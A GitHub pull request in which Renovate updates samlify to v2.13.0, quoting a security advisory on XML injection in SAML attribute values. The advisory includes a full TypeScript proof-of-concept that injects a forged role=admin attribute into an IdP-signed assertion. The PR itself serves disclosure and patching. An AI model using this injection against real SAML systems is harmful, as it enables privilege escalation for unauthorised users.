Skip to content

fix(deps): update dependency samlify to v2.13.0 [security]#8846

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-samlify-vulnerability
Open

fix(deps): update dependency samlify to v2.13.0 [security]#8846
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-samlify-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented May 21, 2026

This PR contains the following updates:

Package Change Age Confidence
samlify 2.10.02.13.0 age confidence

samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

CVE-2026-46490 / GHSA-34r5-q4jw-r36m

More information

Details

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.tsreplaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept
  • poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@&#8203;authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
  context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
  attributes: [
    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  ],
};

const idp = IdentityProvider({
  privateKey: readFileSync('./test/key/idp/privkey.pem'),
  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/idpmeta.xml'),
  loginResponseTemplate,
});

const sp = ServiceProvider({
  privateKey: readFileSync('./test/key/sp/privkey.pem'),
  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
  const now = new Date();
  const fiveMinutesLater = new Date(now.getTime() + 300_000);
  const tvalue = {
    ID: _idp.entitySetting.generateID(),
    AssertionID: _idp.entitySetting.generateID(),
    Destination: _sp.entityMeta.getAssertionConsumerService('post'),
    Audience: _sp.entityMeta.getEntityID(),
    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
    NameID: user.email,
    Issuer: _idp.entityMeta.getEntityID(),
    IssueInstant: now.toISOString(),
    ConditionsNotBefore: now.toISOString(),
    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
    InResponseTo: 'request-id',
    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
    attrUserEmail: user.email,
    attrUserInjection: user.injection,
  };

  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
  const injection = [
    'safe',
    '</saml:AttributeValue></saml:Attribute>',
    '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
    '</saml:Attribute>',
    '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
  ].join('');

  const user = { email: 'user@esaml2.com', injection };
  const { context: SAMLResponse } = await idp.createLoginResponse(
    sp,
    { extract: { request: { id: 'request-id' } } },
    'post',
    user,
    buildTemplate(idp, sp, 'post', user)
  );

  const xml = util.base64Decode(SAMLResponse, true).toString();
  console.log('--- Generated XML snippet ---');
  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

  console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
  console.error('PoC failed:', err?.message || err);
  process.exitCode = 1;
});

Run:

  npm install --legacy-peer-deps
  npx ts-node poc/attribute_injection.ts
Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

tngan/samlify (samlify)

v2.13.0

Compare Source

What's Changed
Security Audit

GHSA-34r5-q4jw-r36m (credit to @​RootUp)

Full Changelog: tngan/samlify@v2.12.0...v2.13.0

v2.12.0

Compare Source

What's Changed
  • fix: security audit - XPath injection, XXE protection, dependency update ab87376
  • fix: maintain the commonjs build and remove camel case lib import by @​tngan in #​601

Full Changelog: tngan/samlify@v2.11.0...v2.12.0

v2.11.0

Compare Source

What's Changed
New Contributors

Full Changelog: tngan/samlify@v2.10.2...v2.11.0

v2.10.2

Compare Source

What's Changed
New Contributors

Full Changelog: tngan/samlify@v2.10.0...v2.10.2

v2.10.1

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copilot AI review requested due to automatic review settings May 21, 2026 17:23
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

@github-actions
Copy link
Copy Markdown

github-actions Bot commented May 21, 2026

COMPARE TO master

Total Size Diff 📉 -4 Bytes

Diff by File
Name Diff
packages/connectors/connector-saml/package.json 0 Bytes
packages/core/package.json 0 Bytes
pnpm-lock.yaml 📉 -4 Bytes

@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from defa09d to a4f64d6 Compare May 22, 2026 03:13
@github-actions github-actions Bot added size/xs and removed size/xs labels May 22, 2026
@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from a4f64d6 to 1c2cfdb Compare May 25, 2026 02:08
Copilot AI review requested due to automatic review settings May 25, 2026 02:08
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

@github-actions github-actions Bot added size/xs and removed size/xs labels May 25, 2026
@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from 1c2cfdb to 0d7e6e6 Compare May 28, 2026 21:59
@github-actions github-actions Bot added size/xs and removed size/xs labels May 28, 2026
Copilot AI review requested due to automatic review settings May 29, 2026 04:11
@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from 0d7e6e6 to 6a31062 Compare May 29, 2026 04:11
@renovate renovate Bot requested a review from charIeszhao as a code owner May 29, 2026 04:11
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

@github-actions github-actions Bot added size/xs and removed size/xs labels May 29, 2026
@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from 6a31062 to 01045db Compare May 29, 2026 10:16
@github-actions github-actions Bot added size/xs and removed size/xs labels May 29, 2026
@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from 01045db to f633fd2 Compare June 1, 2026 19:38
Copilot AI review requested due to automatic review settings June 1, 2026 19:38
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

@github-actions github-actions Bot added size/xs and removed size/xs labels Jun 1, 2026
@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from f633fd2 to b0a18a9 Compare June 2, 2026 05:05
@github-actions github-actions Bot added size/xs and removed size/xs labels Jun 2, 2026
Copilot AI review requested due to automatic review settings June 2, 2026 09:54
@renovate renovate Bot force-pushed the renovate/npm-samlify-vulnerability branch from b0a18a9 to bfd6873 Compare June 2, 2026 09:54
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

@github-actions github-actions Bot added size/xs and removed size/xs labels Jun 2, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Development

Successfully merging this pull request may close these issues.

1 participant